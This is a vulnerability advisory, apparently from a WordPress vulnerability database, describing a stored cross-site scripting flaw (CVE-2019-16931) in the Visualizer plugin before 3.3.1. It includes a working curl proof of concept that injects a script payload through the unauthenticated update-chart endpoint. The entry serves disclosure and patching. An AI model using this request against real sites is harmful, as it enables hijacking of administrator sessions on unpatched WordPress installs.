Visualizer < 3.3.1 - Stored Cross-Site Scripting (XSS)



Description
By abusing a lack of access controls on the /wp-json/visualizer/v1/update-chart WP-JSON API endpoint, an attacker can arbitrarily modify meta data of an existing chart, and inject a XSS payload to be stored and later executed when an admin goes to edit the chart.
Proof of Concept
curl -i -s -k  -X $'POST' \
    -H $'Host: 192.168.158.128:8000' -H $'Content-Type: application/json' \
    --data-binary $'{\"id\": 7, \"visualizer-chart-type\": \"\\\"><script>alert(1);</script><span data-x=\\\"\"}' \
    $'http://192.168.158.128:8000/wp-json/visualizer/v1/update-chart'

See the references for more details

Affects Plugin

fixed in version 3.3.1

References

CVE 2019-16931
URL https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf

Classification

Type XSS
OWASP Top 10 A7: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Original Researcher Nathan Davison
Submitter Website https://nathandavison.com
Submitter Twitter nj_dav
Views 2836
Verified No
WPVDB ID 9893

Timeline

Publicly Published 2019-09-28 (23 days ago)
Added 2019-09-28 (23 days ago)
Last Updated 2019-10-05 (16 days ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin